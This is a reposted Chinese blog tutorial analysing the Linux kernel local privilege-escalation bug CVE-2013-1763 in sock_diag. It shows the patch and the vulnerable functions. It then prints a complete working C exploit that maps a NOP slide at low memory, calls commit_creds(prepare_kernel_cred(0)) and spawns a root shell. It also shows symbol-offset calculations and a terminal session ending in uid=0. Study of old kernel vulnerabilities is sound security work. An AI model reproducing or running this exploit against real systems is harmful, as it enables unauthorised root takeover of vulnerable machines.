一则利用内核漏洞获取root权限的案例【转】

转自：https://blog.csdn.net/u014089131/article/details/73933649

目录(?)[-]

1. 漏洞描述
2. 漏洞的影响范围
3. 漏洞曝光时间
4. 漏洞产生的原因
5. 漏洞的利用
6. exploit代码分析

kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763，影响范围比较广泛，ubuntu，Arch，fedora都受到其影响，漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码，下面会分析该代码是如何获取root权限的。

首先对CVE-2013-1763这个安全漏洞简单介绍一下。

1. 漏洞描述

在net/core/sock_diag.c中，__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查，导致可能越界，进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。

2. 漏洞的影响范围

linux kernel 3.0-3.7.10

3. 漏洞曝光时间

2013/02/19

4. 漏洞产生的原因

首先看一下这个漏洞的patch：

1. net/core/sock_diag.c View file @ 6e601a5
2. @@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
3. if (nlmsg_len(nlh) < sizeof(*req))
4. return -EINVAL;
5. +  if (req->sdiag_family >= AF_MAX)
6. +    return -EINVAL;
7. +
8. hndl = sock_diag_lock_handler(req->sdiag_family);
9. if (hndl == NULL)
10. err = -ENOENT;

Patch 很简单，只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么：

1. static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
2. {
3. if (sock_diag_handlers[family] == NULL)
4. request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
5. NETLINK_SOCK_DIAG, family);
6. mutex_lock(&sock_diag_table_mutex);
7. return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.
8. }

这个函数也没有做什么，只是对 sock_diag_lock_hander[family]进行检测，是否为NULL，如果为NULL申请注册，然后加上了一把锁，最后返回的是它的地址。

1. static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.

接着我们再看看完整的__sock_diag_rcv_msg函数。

1. static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
2. {
3. int err;
4. struct sock_diag_req *req = NLMSG_DATA(nlh);
5. struct sock_diag_handler *hndl;
6. if (nlmsg_len(nlh) < sizeof(*req))
7. return -EINVAL;
8. hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断，那么就可以越界。
9. if (hndl == NULL)
10. err = -ENOENT;
11. else
12. err = hndl->dump(skb, nlh); //看到这里是不是很激动呢，利用这里可以让它执行我们自己的代码
13. sock_diag_unlock_handler(hndl);
14. return err;
15. }

5. 漏洞的利用

虽然已经找到了kernel中有这样一个漏洞，但是如何利用这个漏洞来执行我们自己的程序，取得root权限还是需要很困难的，需要对kernel系统以及计算机运行原理非常了解才可以，并且这些程序往往需要精细设计才能达到最终的目的。 下面是某牛人写的exploit代码，请欣赏：

1. /*
2. * quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
3. * bug found by Spender
4. * poc by SynQ
5. *
6. * hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
7. * using nl_table->hash.rehash_time, index 81
8. *
9. * Fedora 18 support added
10. *
11. * 2/2013
12. */
13. #include <unistd.h>
14. #include <sys/socket.h>
15. #include <linux/netlink.h>
16. #include <netinet/tcp.h>
17. #include <errno.h>
18. #include <linux/if.h>
19. #include <linux/filter.h>
20. #include <string.h>
21. #include <stdio.h>
22. #include <stdlib.h>
23. #include <linux/sock_diag.h>
24. #include <linux/inet_diag.h>
25. #include <linux/unix_diag.h>
26. #include <sys/mman.h>
27. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
28. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
29. _commit_creds commit_creds;
30. _prepare_kernel_cred prepare_kernel_cred;
31. unsigned long sock_diag_handlers, nl_table;
32. int __attribute__((regparm(3)))    //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。
33. kernel_code()
34. {
35. commit_creds(prepare_kernel_cred(0));  //这行代码执行之后就可以获取root权限，但是这两个函数都是内核函数，必须在内核态执行才有效。
36. return -1;
37. }
38. //这段函数没有使用，用来解释hard code jump[] 为什么是那些数值
39. int jump_payload_not_used(void *skb, void *nlh)
40. {
41. asm volatile (
42. "mov $kernel_code, %eax\n"
43. "call *%eax\n"
44. );
45. }
46. unsigned long
47. get_symbol(char *name)  //为了获取内核函数地址
48. {
49. FILE *f;
50. unsigned long addr;
51. char dummy, sym[512];
52. int ret = 0;
53. f = fopen("/proc/kallsyms", "r");
54. if (!f) {
55. return 0;
56. }
57. while (ret != EOF) {
58. ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
59. if (ret == 0) {
60. fscanf(f, "%s\n", sym);
61. continue;
62. }
63. if (!strcmp(name, sym)) {
64. printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
65. fclose(f);
66. return addr;
67. }
68. }
69. fclose(f);
70. return 0;
71. }
72. int main(int argc, char*argv[])
73. {
74. int fd;
75. unsigned family;
76. struct {
77. struct nlmsghdr nlh;  //socket协议netlink数据包的格式
78. struct unix_diag_req r;
79. } req;
80. char    buf[8192];
81. //创建一个netlink协议的socket，因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的
82. if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
83. printf("Can't create sock diag socket\n");
84. return -1;
85. }
86. //填充数据包，就是为了最终能够执行到__sock_diag_rcv_msg中去
87. memset(&req, 0, sizeof(req));
88. req.nlh.nlmsg_len = sizeof(req);
89. req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
90. req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
91. req.nlh.nlmsg_seq = 123456;
92. //req.r.sdiag_family = 89;
93. req.r.udiag_states = -1;
94. req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
95. if(argc==1){
96. printf("Run: %s Fedora|Ubuntu\n",argv[0]);
97. return 0;
98. }
99. else if(strcmp(argv[1],"Fedora")==0){
100. commit_creds = (_commit_creds) get_symbol("commit_creds");
101. prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
102. sock_diag_handlers = get_symbol("sock_diag_handlers");
103. nl_table = get_symbol("nl_table");
104. if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
105. printf("some symbols are not available!\n");
106. exit(1);
107. }
108. family = (nl_table - sock_diag_handlers) / 4;
109. printf("family=%d\n",family);
110. req.r.sdiag_family = family;
111. if(family>255){
112. printf("nl_table is too far!\n");
113. exit(1);
114. }
115. }
116. else if(strcmp(argv[1],"Ubuntu")==0){
117. commit_creds = (_commit_creds) 0xc106bc60;
118. prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
119. req.r.sdiag_family = 81;
120. }
121. unsigned long mmap_start, mmap_size;
122. mmap_start = 0x10000;  //选择了一块1MB多的内存区域
123. mmap_size = 0x120000;
124. printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
125. if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
126. MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
127. printf("mmap fault\n");
128. exit(1);
129. }
130. memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90，在X86系统中对应的是NOP指令
131. char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
132. unsigned long *asd = &jump[4];
133. *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11
134. //将jump这段代码放在mmap内存区域的最后，也就是说只要最后能够跳转到这块区域，就可以执行到jump代码，进而跳转执行kernel_code，因为这块区域中布满了NOP指令。
135. memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
136. //所有准备工作完成之后，最后在这里发送socket触发这个漏洞
137. if ( send(fd, &req, sizeof(req), 0) < 0) {
138. printf("bad send\n");
139. close(fd);
140. return -1;
141. }
142. printf("uid=%d, euid=%d\n",getuid(), geteuid() );
143. if(!getuid())
144. system("/bin/sh");
145. }

6. exploit代码分析

在分析之前，有些概念要澄清一下，在linux系统中，用户空间和内核空间是独立存在的。在一个32位的linux系统中，每个进程会虚拟出4G的内存空间，其中3G是用户空间，1G是内核空间，用户空间的地址范围是0×00000000 到 0xBFFFFFFF，内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享，但只有运行在内核态的进程才能访问，用户进程可以通过系统调用切换到内核态访问内核空间，进程运行在内核态时所产生的地址都属于内核空间。

commit_creds 和prepare_kernel_cred 均为内核函数，如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的，所以这个时候调用执行kernel_code函数就可以取得root权限。

那么如何调用kernel_code函数呢？所有我们mmap了一块从0x10000开始0x120000大小的内存空间，然后将这块空间写满NOP指令，将跳转执行kernel_code的代码放在这块区域的最后面，也就是说，只要跳转执行到这块内存区域的（除了jump代码块内部）都会顺利跑到kernel_code函数。这种方法叫做NOP slide，就像坐滑滑梯一样，自然滑到底部。jump这一段代码的分析如下：

1. char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
2. unsigned long *asd = &jump[4];
3. *asd = (unsigned long)kernel_code;
4. int jump_payload_not_used(void *skb, void *nlh)
5. {
6. asm volatile (
7. "mov $kernel_code, %eax\n"
8. "call *%eax\n"
9. );
10. }
11. fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c
12. CVE-2013-1763.c: In function ‘main’:
13. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]
14. fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out
15. ….
16. 08048763 <jump_payload_not_used>:
17. 8048763:   55                      push   %ebp
18. 8048764:   89 e5                   mov    %esp,%ebp
19. 8048766:   b8 3c 87 04 08          mov    $0x804873c,%eax
20. 804876b:   ff d0                   call   *%eax
21. 804876d:   5d                      pop    %ebp
22. 804876e:   c3                      ret
23. ….
24. (gdb) p/x jump
25. $2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址
26. (gdb) p kernel_code
27. $4 = {int ()} 0x804873c <kernel_code>

问题的关键变成了如何才能跳转到这一块内存区域呢？先看看下面这结构体的定义：

1. struct nlmsghdr {
2. __u32       nlmsg_len;  /* Length of message including header */
3. __u16       nlmsg_type; /* Message content */
4. __u16       nlmsg_flags;    /* Additional flags */
5. __u32       nlmsg_seq;  /* Sequence number */
6. __u32       nlmsg_pid;  /* Sending process port ID */
7. };
8. struct unix_diag_req {
9. __u8    sdiag_family;
10. __u8    sdiag_protocol;
11. __u16   pad;
12. __u32   udiag_states;
13. __u32   udiag_ino;
14. __u32   udiag_show;
15. __u32   udiag_cookie[2];
16. };
17. struct sock_diag_handler {
18. __u8 family;//
19. int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
20. };
21. struct netlink_table {
22. struct nl_portid_hash   hash; //取回这个值
23. struct hlist_head       mc_list;
24. struct listeners __rcu  *listeners;
25. unsigned int            flags;
26. unsigned int            groups;
27. struct mutex            *cb_mutex;
28. struct module           *module;
29. void                    (*bind)(int group);
30. int                     registered;
31. };
32. struct nl_portid_hash {
33. struct hlist_head       *table; 四个字节
34. unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.
35. unsigned int            mask;
36. unsigned int            shift;
37. unsigned int            entries;
38. unsigned int            max_shift;
39. u32                     rnd;
40. };
41. static struct netlink_table *nl_table;

我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内，所以可以利用这个值来跳转，只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示

所以我们需要先知道nl_table和sock_diag_handlers的地址，可以通过以下两种方式查看。

1. cat /proc/kallsyms
2. sudo cat /boot/System.map-3.2.0-43-generic-pae

但是在ubuntu系统中前一种方法无法查看到变量函数的地址，所以只有使用第二种方法了，由于 nl_table和sock_diag_handlers都是指针，所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。

1. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table
2. c189b5c0 d nl_table_lock
3. c189b5c4 d nl_table_wait
4. c1a488e0 b nl_table_users
5. c1a488e4 b nl_table
6. fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers
7. c1a487a0 b sock_diag_handlers
8. (0xc1a488e4 - 0xc1a487a0) / 4 = 81L

至此所有的谜题都解开了，然后就可以高高兴兴的黑自己一把了:

1. fengguoqing@VirtualBox:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c
2. CVE-2013-1763.c: In function ‘main’:
3. CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default]
4. fengguoqing@VirtualBox:~/Downloads$ id
5. uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)
6. fengguoqing@VirtualBox:~/Downloads$ ./CVE-2013-1763 Ubuntu
7. mmapping at 0x10000, size = 0x120000
8. uid=0, euid=0
9. # id
10. uid=0(root) gid=0(root) groups=0(root)
11. #

由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex)，但是我们在后面将程序引入到其他地方，并没有接着执行 mutex_unlock(&sock_diag_table_mutex)，所以按道理只能root成功一次，但是我在测试中发现有时候可以root多次，有时候root一次之后就不能再root了，需要重启才可以重新root。

转载： https://my.oschina.net/fgq611/blog/156089